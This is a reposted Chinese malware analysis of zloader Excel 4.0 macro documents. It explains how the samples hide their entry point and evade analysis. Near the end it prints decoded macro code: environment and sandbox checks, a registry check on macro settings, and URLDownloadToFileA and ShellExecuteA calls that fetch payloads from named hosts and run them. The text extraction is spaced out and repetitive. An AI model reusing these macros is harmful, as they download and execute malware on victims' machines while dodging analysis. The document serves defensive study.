搜索

[15504] 2020-06-17_zloader再次升级检测逃避措施

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-06-17_zloader再次升级检测逃避措施 z l o a d e r 再 次 升 级 检 测 逃 避 措 施 A v e n g e r   F r e e B u f   2 0 2 0 - 0 6 - 1 7 最 近 出 现 的 最 近 出 现 的   z l o a d e r   的 恶 意 文 档 升 级 了 额 外 的 检 测 逃 避 手 段 ， 使 得 确 定 宏 代 码 的 入 口 点 以 及 额 外 的 分 析 变 得 更 加 困 难 。 的 恶 意 文 档 升 级 了 额 外 的 检 测 逃 避 手 段 ， 使 得 确 定 宏 代 码 的 入 口 点 以 及 额 外 的 分 析 变 得 更 加 困 难 。 介 绍 介 绍 多 亏 了   E x c e l   4 . 0   宏 才 让 很 多 恶 意 代 码 老 树 开 新 花 ， 来 ！ 所 有 人 都 必 须 熟 悉 这 些 古 老 的 宏 代 码 。 在   2 0 2 0   年   4   月 初 时 ， 宏 代 码 仍 然 相 当 整 洁 ： 随 后 ， T r i c k b o t   增 加 了 隐 藏 工 作 簿 、 随 机 位 置 写 入 宏 等 检 测 逃 避 的 手 段 让 分 析 变 得 更 加 困 难 ： 时 至 今 日 ， @ f f f o r w a r d   发 布 的   T w i t t e r   描 述 了 一 个   z l o a d e r   的 恶 意 文 档 。 乍 一 看 该 文 档 没 什 么 异 常 ， 没 有 任 何 隐 藏 的 工 作 簿 或 受 密 码 保 护 的 宏 。 而 如 果 你 查 看 S h e e t 2   的 内 容 并 缩 小 比 例 尺 ， 则 会 看 到 分 散 在 各 处 的   E x c e l   4 . 0   宏 代 码 。
寻 找 起 点 寻 找 起 点 困 难 的 是 找 到 宏 代 码 执 行 的 起 始 位 置 。 可 以 尝 试 搜 索     并 右 键 点 击 搜 索 到 的 第 一 个 单 元 格 ， 然 后 尝 试 逐 步 执 行 宏 代 码 。 但 是 ， 由 于 该 公 式 依 赖 已 经 写 入 不 同 单 元 格 的 信 息 ， 执 行 会 失 败 。 只 有 发 现 的 正 确 的 起 始 位 置 才 会 发 生 这 种 问 题 。 这 意 味 着 确 实 找 对 了 起 始 位 置 ， 幸 运 的 是   @ c 0 n t r o l _ z   撰 写 了 如 何 找 到 混 淆 的     标 签 的 内 容 ， 最 终 在 隐 藏 的   E x c e l   命 名 管 理 器 中 找 到 了 起 始 位 置 的 标 签 （ 详 见   @ c o n t r o l _ z   与   @ B o u n c y H a t   的 讨 论 ） 。 使 用 与   @ c 0 n t r o l _ z   相 同 的 命 令 ， o l e d u m p . p y   也 可 以 为 我 们 提 供 类 似 的 输 出 结 果 。 使 用 十 六 进 制 编 辑 器 可 以 用   0 x 0 0   覆 盖   0 x 2 1 ， 用   0 x 6 7   覆 盖   0 x 0 1 。 此 时 ， 就 可 以 在 单 元 格   C 2 0 0 4   处 看 到 起 始 位 置 了 。 f o r m u l a a u t o _ o p e n o l e d u m p . p y   - p   p l u g i n _ b i f f   – p l u g i n o p t i o n s   “ - o   L A B E L   - a ”   [ f i l e ]
检 测 逃 避 检 测 逃 避 发 现 了 起 始 位 置 后 ， 就 可 以 开 始 逐 步 执 行 宏 代 码 了 。 这 是 一 个 非 常 繁 琐 的 过 程 ， 以 下 是 解 码 后 的 字 符 串 ： 如 果 这 些 检 查 中 的 任 何 一 项 失 败 ， 将 在 单 元 格   A S 5 8 8 6 0   处 结 束 并 关 闭 文 档 。 其 他 内 容 其 他 内 容 M i c a h   L e e   的 文 章 中 显 示 了 许 多 与 本 文 处 理 的 文 档 相 同 的 命 令 。 该 文 档 从 注 册 表 导 出 信 息 ， 检 查 是 否 禁 用 了 宏 。 接 着 继 续 下 载 恶 意 软 件 并 执 行 ， 以 下 是 解 码 后 的 命 令 内 容 ： 过 去 的 一 个 多 月 内 ， z l o a d e r   使 用 的 核 心 命 令 改 动 并 不 大 ， 但 是 攻 击 者 在 外 部 增 加 了 许 多 防 御 措 施 来 阻 碍 分 析 。 在 未 来 ， 这 种 阻 碍 分 析 的 检 测 逃 避 技 术 还 将 会 继 续 发 展 。 * 参 考 来 源 ： 参 考 来 源 ： C l i c k A l l t h e t h i n g s ， ， F B   小 编 小 编   A v e n g e r   编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自   F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 = F O R M U L A . F I L L ( " = C L O S E ( F A L S E ) " , $ A S $ 5 8 8 6 0 )   = >   C L O S E   a c t i v e   w i n d o w = A P P . M A X I M I Z E ( ) = I F ( G E T . W I N D O W ( 7 ) , G O T O ( A S 5 8 8 6 0 ) , )   = >   C h e c k   i f   w i n d o w   i s   h i d d e n = I F ( G E T . W I N D O W ( 2 0 ) , , G O T O ( A S 5 8 8 6 0 ) )   = >   C h e c k   i f   w i n d o w   i s   m a x i m i z e d = I F ( G E T . W I N D O W ( 2 3 ) < 3 , G O T O ( A S 5 8 8 6 0 ) , )   = >   C h e c k   s i z e   o f   w i n d o w = I F ( G E T . W O R K S P A C E ( 3 1 ) , G O T O ( A S 5 8 8 6 0 ) , )   = >   C h e c k   i f   m a c r o   i s   i n   s i n g l e - s t e p   m o d e = I F ( G E T . W O R K S P A C E ( 1 3 ) < 7 7 0 , G O T O ( A S $ 5 8 8 6 0 ) , )   = >   C h e c k   w o r k s p a c e   w i d t h = I F ( G E T . W O R K S P A C E ( 1 4 ) < 3 9 0 , G O T O ( A S $ 5 8 8 6 0 ) , )   = >   C h e c k   w o r k s p a c e   h e i g h t = I F ( G E T . W O R K S P A C E ( 1 9 ) , , G O T O ( A S 5 8 8 6 0 ) )   = >   C h e c k   i f   m o u s e   i s   p r e s e n t = I F ( G E T . W O R K S P A C E ( 4 2 ) , , G O T O ( A S 5 8 8 6 0 ) )   = >   C h e c k   i f   s o u n d s   c a n   b e   p l a y e d = I F ( I S N U M B E R ( S E A R C H ( " W i n d o w s " , G E T . W O R K S P A C E ( 1 ) ) ) , , G O T O ( A S 5 8 8 6 0 ) )   = >   G e t   n a m e   o f   e n v i r o n m e n t   i n   w h i c h   E x c e l   i s   r u n n i n g   f o l l o w e d   b y   v e r s i o n   n u m b e r = F O P E N ( I P 2 2 5 6 7 )         = F O P E N ( " C : U s e r s P u b l i c I 6 y q G . r e g " )     = >   e x p o r t e d   r e g i s t r y   i n f o r m a t i o n = F R E A D ( J 2 2 1 7 9 , 2 5 5 )         = F R E A D ( 0 , 2 5 5 )         "         " " A c c e s s V B O M " " = d w o o r d : 0 0 0 0 0 0 0 0         " " V B A W a r n i n g s " " = d w o r d : 0 0 0 0 0 0 0 2     = >   " D i s a b l e   a l l   m a c r o s   w i t h   n o t i f i c a t i o n " = C A L L ( " u r l m o n " , " U R L D o w n l o a d T o F i l e A " , " J J C C J J " , 0 , F G 1 0 4 2 4 , K 2 3 3 7 4 9 , 0 , 0 ) = F O R M U L A . F I L L ( " = " " h t t p s : / / j a p a n j i s h o . i n f o / w p - k e y s . p h p " " " , $ I D $ 4 1 7 6 7 ) = F O R M U L A . F I L L ( " = C A L L ( " " u r l m o n " " , " " U R L D o w n l o a d T o F i l e A " " , " " J J C C J J " " , 0 , R [ 3 9 6 4 8 ] C [ 1 8 5 ] , R [ 4 0 3 1 3 ] C [ 5 2 ] , 0 , 0 ) " , $ B A $ 2 1 1 9 ) = F O R M U L A . F I L L ( " = " h t t p s : / / g a v r e l e t s . r u / w p - k e y s . p h p " " " , $ C V $ 2 2 6 1 3 ) = F O R M U L A . F I L L ( " = C A L L ( " " u r l m o n " " , " " U R L D o w n l o a d T o F i l e A " " , " " J J C C J J " " , 0 , R [ - 1 1 9 9 7 ] C [ 8 4 ] , R [ 7 8 2 2 ] C [ 8 9 ] , 0 , 0 ) " , $ P $ 3 4 6 1 0 ) = F O R M U L A . F I L L ( " = C A L L ( " " S h e l l 3 2 " " , " " S h e l l E x e c u t e A " " , " " J J C C C J J " " , 0 , " " o p e n " " , R [ 5 1 1 4 ] C [ - 1 1 ] , R [ - 2 1 0 4 7 ] C [ 1 8 8 ] , 0 , 5 ) " , $ A G $ 3 1 1 9 6 ) = C A L L ( " u r l m o n " , " U R L D o w n l o a d T o F i l e A " , " J J C C J J " , 0 , I D 4 1 7 6 7 , D A 4 2 4 3 2 , 0 , 0 )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理